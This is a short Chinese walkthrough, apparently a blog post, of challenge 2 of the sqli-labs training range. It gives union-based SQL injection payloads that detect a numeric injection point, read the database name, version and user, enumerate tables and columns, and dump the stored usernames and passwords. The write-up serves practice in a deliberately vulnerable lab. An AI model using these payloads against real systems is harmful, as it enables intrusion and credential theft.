SQL注入sqli_labs靶场第二题

解题思路与第一题相同

?id=1 and 1=1 和?id=1 and 1=2进行测试如果1=1页面显示正常和原页面一样,并且1=2页面报错或者页面部分数据显示不正常,那么可以确定此处为数字型注入。

联合查询:

猜解列名数量:3

?id=1 order by 4

判断回显点

?id=-1 union select 1,2,3

爆库、版本号、权限

?id=-1 union select 1,database(),version()--+
?id=-1 union select 1,2,user()--+

爆表、爆列

?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'

爆账号密码

?id=-1 union select 1,2,(select group_concat(username,password))from users

相关推荐
01_ice1 小时前
MySQL基本查询1
数据库·mysql
布莱克60512 小时前
理解 MySQL 架构:从连接层到存储引擎
mysql
bransyin14 小时前
一个 SQL 字段到底是怎么算出来的?我做了一个能给出“证据”的血缘工具
大数据·sql·ai·血缘
灯澜忆梦16 小时前
【MySQL18】进阶篇 | MySQL管理
数据库·mysql
lv__pf18 小时前
spring之整合mybatis【TL spring 12】
mysql·spring·mybatis
Alex Gram20 小时前
数据库同步工具PanguSync图文教程
java·mysql·postgresql·sqlserver·c#·数据库同步软件·数据库同步工具
Lethehong1 天前
MySQL迁移如何做到零改造?四层兼容方案详解
数据库·mysql·adb
竹枝溪1 天前
MySQL进阶:约束、多表设计、多表查询与事务
java·数据库·mysql·事务·子查询·acid·多表查询
技术长镜头1 天前
别再只会“加索引”:从磁盘页到 B+Tree,彻底理解 MySQL 索引的设计与运行
后端·mysql
weixin_431600441 天前
NestJS 入门(9):连上数据库,SQL 写在哪?
数据库·后端·sql·学习·nest.js